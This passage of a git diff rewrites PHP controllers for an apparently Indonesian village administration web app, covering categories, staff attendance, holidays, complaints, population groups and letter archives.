{ + $data['subkategori'] = $this->web_kategori_model->get_kategori($id) ?? show_404(); + $data['form_action'] = site_url("kategori/update_sub_kategori/{$kategori}/{$id}"); + } else { + $data['subkategori'] = null; + $data['form_action'] = site_url("kategori/insert_sub_kategori/{$kategori}"); + } + + $this->load->view('kategori/ajax_add_sub_kategori_form', $data); + } + + public function search() + { + $cari = $this->input->post('cari'); + if ($cari != '') { + $_SESSION['cari'] = $cari; + } else { + unset($_SESSION['cari']); + } + redirect('kategori/index'); + } + + public function filter() + { + $filter = $this->input->post('filter'); + if ($filter != 0) { + $_SESSION['filter'] = $filter; + } else { + unset($_SESSION['filter']); + } + redirect('kategori'); + } + + public function insert() + { + $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']); + $this->web_kategori_model->insert($tip); + redirect('kategori/index'); + } + + public function update($id = '') + { + $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']); + $this->web_kategori_model->update($id); + redirect('kategori/index'); + } + + public function delete($id = '') + { + $this->redirect_hak_akses('h', 'kategori/index'); + $this->web_kategori_model->delete($id); + redirect('kategori/index'); + } + + public function delete_all($p = 1, $o = 0) + { + $this->redirect_hak_akses('h', "kategori/index/{$p}/{$o}"); + $this->web_kategori_model->delete_all(); + redirect("kategori/index/{$p}/{$o}"); + } + + public function kategori_lock($id = '') + { + $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']); + $this->web_kategori_model->kategori_lock($id, 1); + redirect("kategori/index/{$p}/{$o}"); + } + + public function kategori_unlock($id = '') + { + $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']); + $this->web_kategori_model->kategori_lock($id, 2); + redirect("kategori/index/{$p}/{$o}"); + } + + public function insert_sub_kategori($kategori = '') + { + $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']); + $this->web_kategori_model->insert_sub_kategori($kategori); + redirect("kategori/sub_kategori/{$kategori}"); + } + + public function update_sub_kategori($kategori = '', $id = '') + { + $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']); + $this->web_kategori_model->update_sub_kategori($id); + redirect("kategori/sub_kategori/{$kategori}"); + } + + public function delete_sub_kategori($kategori = '', $id = 0) + { + $this->redirect_hak_akses('h', $_SERVER['HTTP_REFERER']); + $this->web_kategori_model->delete_sub($id); + redirect("kategori/sub_kategori/{$kategori}"); + } + + public function delete_all_sub_kategori($kategori = '') + { + $this->redirect_hak_akses('h', $_SERVER['HTTP_REFERER']); + $this->web_kategori_model->delete_all(); + redirect("kategori/sub_kategori/{$kategori}"); + } + + public function kategori_lock_sub_kategori($kategori = '', $id = '') + { + $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']); + $this->web_kategori_model->kategori_lock($id, 1); + redirect("kategori/sub_kategori/{$kategori}"); + } + + public function kategori_unlock_sub_kategori($kategori = '', $id = '') + { + $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']); + $this->web_kategori_model->kategori_lock($id, 2); + redirect("kategori/sub_kategori/{$kategori}"); + } + + public function urut($id = 0, $arah = 0, $kategori = '') + { + $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']); + $this->web_kategori_model->urut($id, $arah, $kategori); + if ($kategori != '') { + redirect("kategori/sub_kategori/{$kategori}"); + } else { + redirect('kategori/index'); + } + } +} diff --git a/donjo-app/controllers/Kehadiran_hari_libur.php b/donjo-app/controllers/Kehadiran_hari_libur.php index 87be2a52d..2733b6d6f 100644 --- a/donjo-app/controllers/Kehadiran_hari_libur.php +++ b/donjo-app/controllers/Kehadiran_hari_libur.php @@ -1,577 +1,202 @@ -modul_ini = 'kehadiran'; + $this->sub_modul_ini = 'hari-libur'; + $this->header['kategori'] = 'kehadiran'; + } + + public function index() + { + return view('admin.hari_libur.index'); + } + + public function datatables() + { + if ($this->input->is_ajax_request()) { + return datatables()->of(HariLibur::query()) + ->addColumn('ceklist', static function ($row) { + if (can('h')) { + return ''; + } + }) + ->addIndexColumn() + ->addColumn('aksi', static function ($row) { + $aksi = ''; + + if (can('u')) { + $aksi .= ' '; + } + + if (can('h')) { + $aksi .= ' '; + } + + return $aksi; + }) + ->editColumn('tanggal', static function ($row) { + return tgl_indo($row->tanggal); + }) + ->rawColumns(['ceklist', 'aksi']) + ->make(); + } + + return show_404(); + } + + public function form($id = '') + { + $this->redirect_hak_akses('u'); + + if ($id) { + $action = 'Ubah'; + $form_action = route('kehadiran_hari_libur.update', $id); + $kehadiran_hari_libur = HariLibur::findOrFail($id); + $kehadiran_hari_libur->tanggal = date('d-m-Y', strtotime($kehadiran_hari_libur->tanggal)); + } else { + $action = 'Tambah'; + $form_action = route('kehadiran_hari_libur.create'); + $kehadiran_hari_libur = null; + } + + return view('admin.hari_libur.form', compact('action', 'form_action', 'kehadiran_hari_libur')); + } + + public function create() + { + $this->redirect_hak_akses('u'); + + if (HariLibur::create($this->validate($this->request))) { + redirect_with('success', 'Berhasil Tambah Data'); + } + + redirect_with('error', 'Gagal Tambah Data'); + } + + public function update($id = '') + { + $this->redirect_hak_akses('u'); + + $update = HariLibur::findOrFail($id); + + $data = $this->validate($this->request, $id); + + if ($update->update($data)) { + redirect_with('success', 'Berhasil Ubah Data'); + } + + redirect_with('error', 'Gagal Ubah Data'); + } + + public function delete($id = null) + { + $this->redirect_hak_akses('h'); + + if (HariLibur::destroy($id ?? $this->request['id_cb'])) { + redirect_with('success', 'Berhasil Hapus Data'); + } + + redirect_with('error', 'Gagal Hapus Data'); + } + + private function validate($request = [], $id = '') + { + $_POST['tanggal'] = date('Y-m-d', strtotime($request['tanggal'])); + + $this->load->library('form_validation'); + $this->form_validation->set_error_delimiters('', ''); + $rules = empty($id) + ? 'is_unique[kehadiran_hari_libur.tanggal]' + : "is_unique[kehadiran_hari_libur.tanggal,id,{$id}]"; + + $this->form_validation->set_rules([ + [ + 'field' => 'tanggal', + 'label' => 'Tanggal', + 'rules' => $rules, + 'errors' => [ + 'is_unique' => 'Tanggal terkait sudah ditambahkan pada hari libur', + ], + ], + [ + 'field' => 'keterangan', + 'label' => 'Keterangan', + 'rules' => 'required', + ], + ]); + + if ($this->form_validation->run() !== true) { + redirect_with('error', trim(validation_errors())); + } + + return [ + 'tanggal' => date('Y-m-d', strtotime($request['tanggal'])), + 'keterangan' => strip_tags($request['keterangan']), + ]; + } + + public function import() + { + $this->redirect_hak_akses('u'); + + $kalender = file_get_contents(config_item('api_hari_libur')); + $tanggal = json_decode($kalender, true); + + $batch = collect($tanggal)->map(static function ($item, $key) { + return [ + 'config_id' => identitas('id'), + 'tanggal' => date_format(date_create($key), 'Y-m-d'), + 'keterangan' => $item['summary'][0], + ]; + })->filter(static function ($value, $key) { + return $value['tanggal'] > date('Y') . '-01-01'; + })->slice(0, -2); + + HariLibur::upsert($batch->values()->toArray(), ['tanggal'], ['keterangan']); + + redirect_with('success', 'Berhasil Tambah Data'); + } +} diff --git a/donjo-app/controllers/Kehadiran_jam_kerja.php b/donjo-app/controllers/Kehadiran_jam_kerja.php index 5aacfc62c..e73951164 100644 --- a/donjo-app/controllers/Kehadiran_jam_kerja.php +++ b/donjo-app/controllers/Kehadiran_jam_kerja.php @@ -1,569 +1,117 @@ -modul_ini = 'kehadiran'; + $this->sub_modul_ini = 'jam-kerja'; + $this->header['kategori'] = 'kehadiran'; + } + + public function index() + { + return view('admin.jam_kerja.index'); + } + + public function datatables() + { + if ($this->input->is_ajax_request()) { + return datatables()->of(JamKerja::query()) + ->addIndexColumn() + ->addColumn('aksi', static function ($row) { + if (can('u')) { + return ' '; + } + }) + ->editColumn('status', static function ($row) { + return ($row->status == 1) ? 'Hari Kerja' : 'Hari Libur'; + }) + ->editColumn('jam_masuk', static function ($row) { + return date('H:i', strtotime($row->jam_masuk)); + }) + ->editColumn('jam_keluar', static function ($row) { + return date('H:i', strtotime($row->jam_keluar)); + }) + ->rawColumns(['aksi', 'status']) + ->make(); + } + + return show_404(); + } + + public function form($id = '') + { + $this->redirect_hak_akses('u'); + + $action = 'Ubah'; + $form_action = route('kehadiran_jam_kerja.update', $id); + + $kehadiran_jam_kerja = JamKerja::findOrFail($id); + + return view('admin.jam_kerja.form', compact('action', 'form_action', 'kehadiran_jam_kerja')); + } + + public function update($id = '') + { + $this->redirect_hak_akses('u'); + + $update = JamKerja::findOrFail($id); + + if ($update->update($this->validate($this->request))) { + redirect_with('success', 'Berhasil Ubah Data'); + } + + redirect_with('error', 'Gagal Ubah Data'); + } + + private function validate($request = []) + { + return [ + 'jam_masuk' => (string) date('H:i:s', strtotime($request['jam_masuk'])), + 'jam_keluar' => (string) date('H:i:s', strtotime($request['jam_keluar'])), + 'status' => (int) ($request['status']), + 'keterangan' => strip_tags($request['keterangan']), + ]; + } +} diff --git a/donjo-app/controllers/Kehadiran_keluar.php b/donjo-app/controllers/Kehadiran_keluar.php index dad948966..ce80279d0 100644 --- a/donjo-app/controllers/Kehadiran_keluar.php +++ b/donjo-app/controllers/Kehadiran_keluar.php @@ -1,545 +1,154 @@ -modul_ini = 'kehadiran'; + $this->sub_modul_ini = 'alasan-keluar'; + $this->header['kategori'] = 'kehadiran'; + } + + public function index() + { + return view('admin.alasan_keluar.index'); + } + + public function datatables() + { + if ($this->input->is_ajax_request()) { + return datatables()->of(AlasanKeluar::query()) + ->addColumn('ceklist', static function ($row) { + if (can('h')) { + return ''; + } + }) + ->addIndexColumn() + ->addColumn('aksi', static function ($row) { + $aksi = ''; + + if (can('u')) { + $aksi .= ' '; + } + + if (can('h')) { + $aksi .= ' '; + } + + return $aksi; + }) + ->rawColumns(['ceklist', 'aksi']) + ->make(); + } + + return show_404(); + } + + public function form($id = '') + { + $this->redirect_hak_akses('u'); + + if ($id) { + $action = 'Ubah'; + $form_action = route('kehadiran_keluar.update', $id); + $kehadiran_keluar = AlasanKeluar::findOrFail($id); + } else { + $action = 'Tambah'; + $form_action = route('kehadiran_keluar.create'); + $kehadiran_keluar = null; + } + + return view('admin.alasan_keluar.form', compact('action', 'form_action', 'kehadiran_keluar')); + } + + public function create() + { + $this->redirect_hak_akses('u'); + + if (AlasanKeluar::create($this->validated($this->request))) { + redirect_with('success', 'Berhasil Tambah Data'); + } + + redirect_with('error', 'Gagal Tambah Data'); + } + + public function update($id = '') + { + $this->redirect_hak_akses('u'); + + $update = AlasanKeluar::findOrFail($id); + + if ($update->update($this->validated($this->request, $id))) { + redirect_with('success', 'Berhasil Ubah Data'); + } + + redirect_with('error', 'Gagal Ubah Data'); + } + + public function delete($id = null) + { + $this->redirect_hak_akses('h'); + + if (AlasanKeluar::destroy($id ?? $this->request['id_cb'])) { + redirect_with('success', 'Berhasil Hapus Data'); + } + + redirect_with('error', 'Gagal Hapus Data'); + } + + protected static function validated($request = [], $id = null) + { + $validated = [ + 'alasan' => strip_tags($request['alasan']), + 'keterangan' => strip_tags($request['keterangan']), + ]; + + if ($id) { + $validated['created_by'] = $validated['updated_by'] = auth()->id; + } else { + $validated['created_by'] = auth()->id; + } + + return $validated; + } +} diff --git a/donjo-app/controllers/Kehadiran_pengaduan.php b/donjo-app/controllers/Kehadiran_pengaduan.php index 904b8ee71..ea82d64a8 100644 --- a/donjo-app/controllers/Kehadiran_pengaduan.php +++ b/donjo-app/controllers/Kehadiran_pengaduan.php @@ -1,569 +1,108 @@ -modul_ini = 'kehadiran'; + $this->sub_modul_ini = 'kehadiran-pengaduan'; + $this->header['kategori'] = 'kehadiran'; + } + + public function index() + { + return view('admin.pengaduan.index'); + } + + public function datatables() + { + if ($this->input->is_ajax_request()) { + return datatables()->of(KehadiranPengaduan::with(['pamong.penduduk', 'mandiri.penduduk'])) + ->addIndexColumn() + ->addColumn('aksi', static function ($row) { + if (can('u')) { + return ' '; + } + }) + ->editColumn('waktu', static function ($row) { + return tgl_indo2($row->waktu); + }) + ->rawColumns(['aksi']) + ->make(); + } + + return show_404(); + } + + public function form($id = '') + { + $this->redirect_hak_akses('u'); + + $action = 'Ubah'; + $form_action = route('kehadiran_pengaduan.update', $id); + + $kehadiran_pengaduan = KehadiranPengaduan::findOrFail($id); + + return view('admin.pengaduan.form', compact('action', 'form_action', 'kehadiran_pengaduan')); + } + + public function update($id = '') + { + $this->redirect_hak_akses('u'); + + $update = KehadiranPengaduan::findOrFail($id); + + if ($update->update($this->validate($this->request))) { + redirect_with('success', 'Berhasil Ubah Data'); + } + + redirect_with('error', 'Gagal Ubah Data'); + } + + private function validate($request = []) + { + return [ + 'keterangan' => strip_tags($request['keterangan']), + ]; + } +} diff --git a/donjo-app/controllers/Kehadiran_rekapitulasi.php b/donjo-app/controllers/Kehadiran_rekapitulasi.php index 277285902..8c2f7209b 100644 --- a/donjo-app/controllers/Kehadiran_rekapitulasi.php +++ b/donjo-app/controllers/Kehadiran_rekapitulasi.php @@ -1,593 +1,141 @@ -modul_ini = 'kehadiran'; + $this->sub_modul_ini = 'rekapitulasi'; + $this->header['kategori'] = 'kehadiran'; + } + + public function index() + { + $pamong = Pamong::daftar()->get(); + $kehadiran = Kehadiran::get(); + + return view('admin.rekapitulasi.index', compact('pamong', 'kehadiran')); + } + + public function datatables() + { + if ($this->input->is_ajax_request()) { + $filters = [ + 'tanggal' => $this->input->get('daterange'), + 'status' => $this->input->get('status'), + 'pamong' => $this->input->get('pamong'), + ]; + + return datatables()->of(Kehadiran::with(['pamong', 'pamong.penduduk', 'pamong.jabatan']) + ->select('*', DB::raw('TIMEDIFF( jam_keluar, jam_masuk ) as total')) + ->filter($filters)) + ->addIndexColumn() + ->editColumn('tanggal', static function ($row) { + return tgl_indo($row->tanggal); + }) + ->editColumn('jam_masuk', static function ($row) { + return date('H:i', strtotime($row->jam_masuk)); + }) + ->editColumn('jam_keluar', static function ($row) { + return $row->jam_keluar == null ? '-' : date('H:i', strtotime($row->jam_keluar)); + }) + ->editColumn('total', static function ($row) { + return date('H:i', strtotime($row->total)); + }) + ->editColumn('status_kehadiran', static function ($row) { + $tipe = ($row->status_kehadiran == 'hadir') ? 'success' : (($row->status_kehadiran == 'tidak berada di kantor') ? 'danger' : 'warning'); + + return '' . ucwords($row->status_kehadiran) . ' '; + }) + ->rawColumns(['status_kehadiran']) + ->make(); + } + + return show_404(); + } + + public function ekspor() + { + $filters = [ + 'tanggal' => $this->input->get('daterange'), + 'status' => $this->input->get('status'), + 'pamong' => $this->input->get('pamong'), + ]; + + $judul = [ + 'Nama', + 'Jabatan', + 'Tanggal', + 'Jam Masuk', + 'Jam Keluar', + 'Total Waktu', + 'Status Kehadiran', + ]; + + $writer = WriterEntityFactory::createXLSXWriter(); + $writer->openToBrowser(namafile('kehadiran') . '.xlsx'); + $writer->addRow(WriterEntityFactory::createRowFromArray($judul)); + + $data_kehadiran = Kehadiran::with(['pamong']) + ->select('*', Kehadiran::raw('TIMEDIFF( jam_keluar, jam_masuk ) as total')) + ->filter($filters) + ->get(); + + foreach ($data_kehadiran as $row) { + $data = [ + $row->pamong->pamong_nama != null ? $row->pamong->pamong_nama : $row->pamong->penduduk->nama, + $row->pamong->jabatan->nama, + tgl_indo($row->tanggal), + date('H:i', strtotime($row->jam_masuk)), + $row->jam_keluar == null ? '-' : date('H:i', strtotime($row->jam_keluar)), + date('H:i', strtotime($row->total)), + ucwords($row->status_kehadiran), + ]; + $writer->addRow(WriterEntityFactory::createRowFromArray($data)); + } + $writer->close(); + } +} diff --git a/donjo-app/controllers/Kelompok.php b/donjo-app/controllers/Kelompok.php index 20df06853..61103da96 100644 --- a/donjo-app/controllers/Kelompok.php +++ b/donjo-app/controllers/Kelompok.php @@ -1,481 +1,393 @@ -load->model(['kelompok_model', 'pamong_model']); + $this->modul_ini = 'kependudukan'; + $this->sub_modul_ini = 'kelompok'; + $this->_set_page = ['20', '50', '100']; + $this->_list_session = ['cari', 'filter', 'penerima_bantuan', 'sex', 'status_dasar']; + $this->kelompok_model->set_tipe($this->tipe); + } + + public function clear() + { + $this->session->unset_userdata($this->_list_session); + $this->session->per_page = $this->_set_page[0]; + $this->session->status_dasar = 1; // Rumah Tangga Aktif + + redirect($this->controller); + } + + public function index($p = 1, $o = 0) + { + $data['p'] = $p; + $data['o'] = $o; + + foreach ($this->_list_session as $list) { + $data[$list] = $this->session->{$list} ?: ''; + } + + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + $data['func'] = 'index'; + $data['set_page'] = $this->_set_page; + $data['filter'] = $this->session->filter; + $list_data = $this->kelompok_model->list_data($o, $p); + $data['paging'] = $list_data['paging']; + $data['main'] = $list_data['main']; + $data['keyword'] = $this->kelompok_model->autocomplete(); + $data['list_master'] = $this->kelompok_model->list_master(); + + $this->render('kelompok/table', $data); + } + + public function anggota($id = 0, $p = 1, $o = 0) + { + $data['p'] = $p; + $data['o'] = $o; + + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + $data['set_page'] = $this->_set_page; + $data['paging'] = $this->kelompok_model->paging($p, $id); + $data['func'] = 'anggota/' . $id; + $data['kelompok'] = $this->kelompok_model->get_kelompok($id) ?? show_404(); + $data['main'] = $this->kelompok_model->list_anggota($o, $data['paging']->offset, $data['paging']->per_page, $id); + + $this->render('kelompok/anggota/table', $data); + } + + public function form($p = 1, $o = 0, $id = 0) + { + $this->redirect_hak_akses('u'); + $data['p'] = $p; + $data['o'] = $o; + $list_master = $this->kelompok_model->list_master(); + + if (count($list_master) <= 0) { + $this->session->success = -1; + $this->session->error_msg = "Kategori {$this->tipe} tidak tersedia, silakan tambah ketegori terlebih dahulu"; + + redirect($this->controller); + } + + if ($id) { + $data['kelompok'] = $this->kelompok_model->get_kelompok($id) ?? show_404(); + $data['form_action'] = site_url("{$this->controller}/update/{$p}/{$o}/{$id}"); + } else { + $data['kelompok'] = null; + $data['form_action'] = site_url("{$this->controller}/insert"); + } + + $data['list_master'] = $list_master; + $data['list_penduduk'] = $this->kelompok_model->list_penduduk(); + + $this->render('kelompok/form', $data); + } + + public function aksi($aksi = '', $id = 0) + { + $this->session->set_userdata('aksi', $aksi); + + redirect("{$this->controller}/form_anggota/{$id}"); + } + + public function form_anggota($id = 0, $id_a = 0) + { + $anggota = KelompokAnggota::tipe()->where('id_kelompok', '=', 2)->pluck('id_penduduk'); + $this->redirect_hak_akses('u'); + $data['kelompok'] = $id; + $data['list_penduduk'] = $this->kelompok_model->list_penduduk($id, $id_a); + $data['list_jabatan1'] = $this->referensi_model->list_ref(JABATAN_KELOMPOK); + $data['list_jabatan2'] = $this->kelompok_model->list_jabatan($id); + + if ($id_a == 0) { + $data['pend'] = null; + $data['form_action'] = site_url("{$this->controller}/insert_a/{$id}"); + } else { + $data['pend'] = $this->kelompok_model->get_anggota($id, $id_a) ?? show_404(); + $data['form_action'] = site_url("{$this->controller}/update_a/{$id}/{$id_a}"); + } + + $this->render('kelompok/anggota/form', $data); + } + + public function apipendudukkelompok() + { + if ($this->input->is_ajax_request()) { + $cari = $this->input->get('q'); + $kelompok = $this->input->get('kelompok'); + $anggota = KelompokAnggota::tipe()->where('id_kelompok', '=', $kelompok)->pluck('id_penduduk'); + + $penduduk = Penduduk::select(['id', 'nik', 'nama', 'id_cluster']) + ->when($cari, static function ($query) use ($cari) { + $query->orWhere('nik', 'like', "%{$cari}%") + ->orWhere('nama', 'like', "%{$cari}%"); + }) + ->whereNotIn('id', $anggota) + ->paginate(10); + + return json([ + 'results' => collect($penduduk->items()) + ->map(static function ($item) { + return [ + 'id' => $item->id, + 'text' => 'NIK : ' . $item->nik . ' - ' . $item->nama . ' RT-' . $item->wilayah->rt . ', RW-' . $item->wilayah->rw . ', ' . strtoupper(setting('sebutan_dusun')), + ]; + }), + 'pagination' => [ + 'more' => $penduduk->currentPage() < $penduduk->lastPage(), + ], + ]); + } + + return show_404(); + } + + // $aksi = cetak/unduh + public function dialog($aksi = 'cetak') + { + $data = $this->modal_penandatangan(); + $data['aksi'] = ucwords($aksi); + $data['form_action'] = site_url("{$this->controller}/daftar/{$aksi}"); + + $this->load->view('global/ttd_pamong', $data); + } + + public function daftar($aksi = 'cetak') + { + $post = $this->input->post(); + $data['aksi'] = $aksi; + $data['config'] = $this->header['desa']; + $data['pamong_ttd'] = $this->pamong_model->get_data($post['pamong_ttd']); + $data['pamong_ketahui'] = $this->pamong_model->get_data($post['pamong_ketahui']); + $data['main'] = $this->kelompok_model->list_data(); + $data['file'] = "Data {$this->tipe}"; // nama file + $data['isi'] = 'kelompok/cetak'; + $data['letak_ttd'] = ['1', '1', '1']; + + $this->load->view('global/format_cetak', $data); + } + + // $aksi = cetak/unduh + public function dialog_anggota($aksi = 'cetak', $id = 0) + { + $data = $this->modal_penandatangan(); + $data['aksi'] = ucwords($aksi); + $data['form_action'] = site_url("{$this->controller}/daftar_anggota/{$aksi}/{$id}"); + + $this->load->view('global/ttd_pamong', $data); + } + + public function daftar_anggota($aksi = 'cetak', $id = 0) + { + $post = $this->input->post(); + $data['aksi'] = $aksi; + $data['config'] = $this->header['desa']; + $data['pamong_ttd'] = $this->pamong_model->get_data($post['pamong_ttd']); + $data['pamong_ketahui'] = $this->pamong_model->get_data($post['pamong_ketahui']); + $data['main'] = $this->kelompok_model->list_anggota(0, 0, 0, $id); + $data['kelompok'] = $this->kelompok_model->get_kelompok($id) ?? show_404(); + $data['file'] = "Laporan Data {$this->tipe} " . $data['kelompok']['nama']; // nama file + $data['isi'] = 'kelompok/anggota/cetak'; + $data['letak_ttd'] = ['2', '3', '2']; + + $this->load->view('global/format_cetak', $data); + } + + public function filter($filter) + { + $value = $this->input->post($filter); + if ($value != '') { + $this->session->{$filter} = $value; + } else { + $this->session->unset_userdata($filter); + } + + redirect($this->controller); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + $this->kelompok_model->insert(); + + redirect($this->controller); + } + + public function update($p = 1, $o = 0, $id = 0) + { + $this->redirect_hak_akses('u'); + $this->kelompok_model->update($id); + + redirect("{$this->controller}/index/{$p}/{$o}"); + } + + public function delete($id = 0) + { + $this->redirect_hak_akses('h'); + $this->kelompok_model->delete($id); + + redirect($this->controller); + } + + public function delete_all() + { + $this->redirect_hak_akses('h'); + $this->kelompok_model->delete_all(); + + redirect($this->controller); + } + + public function insert_a($id = 0) + { + $this->redirect_hak_akses('u'); + $this->kelompok_model->insert_a($id); + $redirect = ($this->session->aksi != 1) ? $_SERVER['HTTP_REFERER'] : "{$this->controller}/anggota/{$id}"; + + $this->session->unset_userdata('aksi'); + + redirect($redirect); + } + + public function update_a($id = 0, $id_a = 0) + { + $this->redirect_hak_akses('u'); + $this->kelompok_model->update_a($id, $id_a); + + redirect("{$this->controller}/anggota/{$id}"); + } + + public function delete_anggota($id = 0, $a = 0) + { + $this->redirect_hak_akses('h'); + $this->kelompok_model->delete_anggota($a); + + redirect("{$this->controller}/anggota/{$id}"); + } + + public function delete_anggota_all($id = 0) + { + $this->redirect_hak_akses('h'); + $this->kelompok_model->delete_anggota_all(); + + redirect("{$this->controller}/anggota/{$id}"); + } + + public function to_master($id = 0) + { + $filter = $id; + if ($filter != 0) { + $this->session->filter = $filter; + } else { + $this->session->unset_userdata(['filter']); + } + + redirect($this->controller); + } + + public function statistik($tipe = '0', $nomor = 0, $sex = null) + { + if ($sex == null) { + if ($nomor != 0) { + $this->session->sex = $nomor; + } else { + $this->session->unset_userdata('sex'); + } + $this->session->unset_userdata('judul_statistik'); + redirect($this->controller); + } + + $this->session->unset_userdata('program_bantuan'); + $this->session->sex = ($sex == 0) ? null : $sex; + + switch ($tipe) { + case $tipe > 50: + $program_id = preg_replace('/^50/', '', $tipe); + $this->session->program_bantuan = $program_id; + + // TODO: Sederhanakan query ini, pindahkan ke model + $nama = $this->db + ->select('nama') + ->where('id', $program_id) + ->where('config_id', identitas('id')) + ->get('program') + ->row() + ->nama; + + if (! in_array($nomor, [BELUM_MENGISI, TOTAL])) { + $this->session->status_dasar = null; // tampilkan semua peserta walaupun bukan hidup/aktif + $nomor = $program_id; + } + $kategori = $nama . ' : '; + $session = 'penerima_bantuan'; + $tipe = 'penerima_bantuan'; + break; + } + + $this->session->{$session} = ($nomor != TOTAL) ? $nomor : null; + + $judul = $this->kelompok_model->get_judul_statistik($tipe, $nomor, $sex); + + $this->session->unset_userdata('judul_statistik'); + if ($judul['nama']) { + $this->session->judul_statistik = $kategori . $judul['nama']; + } + + redirect($this->controller); + } +} diff --git a/donjo-app/controllers/Kelompok_master.php b/donjo-app/controllers/Kelompok_master.php index 376a985ad..9bf90c6f4 100644 --- a/donjo-app/controllers/Kelompok_master.php +++ b/donjo-app/controllers/Kelompok_master.php @@ -1,537 +1,148 @@ -load->model(['kelompok_master_model']); + $this->modul_ini = 'kependudukan'; + $this->sub_modul_ini = 'kelompok'; + $this->_set_page = ['20', '50', '100']; + $this->_list_session = ['cari', 'filter']; + $this->kelompok_master_model->set_tipe($this->tipe); + } + + public function clear() + { + $this->session->unset_userdata($this->_list_session); + $this->session->per_page = $this->_set_page[0]; + + redirect($this->controller); + } + + public function index($p = 1, $o = 0) + { + $data['p'] = $p; + $data['o'] = $o; + + foreach ($this->_list_session as $list) { + $data[$list] = $this->session->{$list} ?: ''; + } + + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + $data['func'] = 'index'; + $data['set_page'] = $this->_set_page; + $data['paging'] = $this->kelompok_master_model->paging($p); + $data['main'] = $this->kelompok_master_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + $data['keyword'] = $this->kelompok_master_model->autocomplete(); + $data['tipe'] = $this->tipe; + + $this->render('kelompok_master/table', $data); + } + + public function form($id = 0) + { + $this->redirect_hak_akses('u'); + if ($id) { + $data['kelompok_master'] = $this->kelompok_master_model->get_kelompok_master($id) ?? show_404(); + $data['form_action'] = site_url("{$this->controller}/update/{$id}"); + } else { + $data['kelompok_master'] = null; + $data['form_action'] = site_url("{$this->controller}/insert"); + } + + $data['tipe'] = $this->tipe; + + $this->render('kelompok_master/form', $data); + } + + public function filter($filter) + { + $value = $this->input->post($filter); + if ($value != '') { + $this->session->{$filter} = $value; + } else { + $this->session->unset_userdata($filter); + } + + redirect($this->controller); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + $this->kelompok_master_model->insert(); + + redirect($this->controller); + } + + public function update($id = 0) + { + $this->redirect_hak_akses('u'); + $this->kelompok_master_model->update($id); + + redirect($this->controller); + } + + public function delete($id = 0) + { + $this->redirect_hak_akses('h'); + $this->kelompok_master_model->delete($id); + + redirect($this->controller); + } + + public function delete_all() + { + $this->redirect_hak_akses('h'); + $this->kelompok_master_model->delete_all(); + + redirect($this->controller); + } +} diff --git a/donjo-app/controllers/Keluar.php b/donjo-app/controllers/Keluar.php index fa802aeaf..8c4ee3894 100644 --- a/donjo-app/controllers/Keluar.php +++ b/donjo-app/controllers/Keluar.php @@ -1,465 +1,696 @@ -load->model('keluar_model'); + $this->load->model('surat_model'); + + $this->load->helper('download'); + $this->load->model('pamong_model'); + $this->modul_ini = 'layanan-surat'; + $this->sub_modul_ini = 'arsip-layanan'; + $this->isAdmin = $this->session->isAdmin->pamong; + $this->load->library('OTP/OTP_manager', null, 'otp_library'); + } + + public function clear($redirect = null) + { + $this->session->unset_userdata($this->list_session); + $this->session->set_userdata('per_page', 20); + if ($redirect != null) { + redirect($this->controller . '/' . $redirect); + } + redirect('keluar'); + } + + public function index($p = 1, $o = 0) + { + $this->tab_ini = 10; + $data['p'] = $p; + $data['o'] = $o; + + foreach ($this->list_session as $list) { + $data[$list] = $this->session->{$list} ?: ''; + } + + if ($this->input->post('per_page') !== null) { + $this->session->per_page = $this->input->post('per_page'); + } + + if (! isset($this->session->tahun)) { + $this->session->unset_userdata('bulan'); + } + + if (setting('verifikasi_kades') || setting('verifikasi_sekdes')) { + $data['operator'] = ($this->isAdmin->jabatan_id == kades()->id || $this->isAdmin->jabatan_id == sekdes()->id) ? false : true; + $data['widgets'] = $this->widget(); + } + + $data['user_admin'] = (config_item('user_admin') == auth()->id) ? true : false; + $data['title'] = 'Arsip Layanan Surat'; + $data['per_page'] = $this->session->per_pages; + $data['paging'] = $this->keluar_model->paging($p, $o); + $data['main'] = $this->keluar_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + $data['tahun_surat'] = $this->keluar_model->list_tahun_surat(); + $data['bulan_surat'] = ($this->session->tahun == null) ? [] : $this->keluar_model->list_bulan_surat(); //ambil list bulan dari log + $data['jenis_surat'] = $this->keluar_model->list_jenis_surat(); + $data['keyword'] = $this->keluar_model->autocomplete(); + $data['redirect'] = 'index'; + + $this->render('surat/surat_keluar', $data); + } + + public function masuk($p = 1, $o = 0) + { + $this->alihkan(); + + $this->tab_ini = 11; + $this->session->masuk = true; + $data['p'] = $p; + $data['o'] = $o; + + foreach ($this->list_session as $list) { + $data[$list] = $this->session->{$list} ?: ''; + } + + if ($this->input->post('per_page') !== null) { + $this->session->per_page = $this->input->post('per_page'); + } + + if (! isset($this->session->tahun)) { + $this->session->unset_userdata('bulan'); + } + + $data['per_page'] = $this->session->per_pages; + $data['title'] = 'Permohonan Surat'; + $data['operator'] = (in_array($this->isAdmin->jabatan_id, RefJabatan::getKadesSekdes())) ? false : true; + $data['user_admin'] = (config_item('user_admin') == auth()->id) ? true : false; + $ref_jabatan_kades = setting('sebutan_kepala_desa'); + $ref_jabatan_sekdes = setting('sebutan_sekretaris_desa'); + + if ($this->isAdmin->jabatan_id == kades()->id) { + $data['next'] = null; + } elseif ($this->isAdmin->jabatan_id == sekdes()->id) { + $data['next'] = setting('verifikasi_kades') ? $ref_jabatan_kades : null; + } else { + if (setting('verifikasi_sekdes')) { + $data['next'] = $ref_jabatan_sekdes; + } elseif (setting('verifikasi_kades')) { + $data['next'] = $ref_jabatan_kades; + } else { + $data['next'] = null; + } + } + + 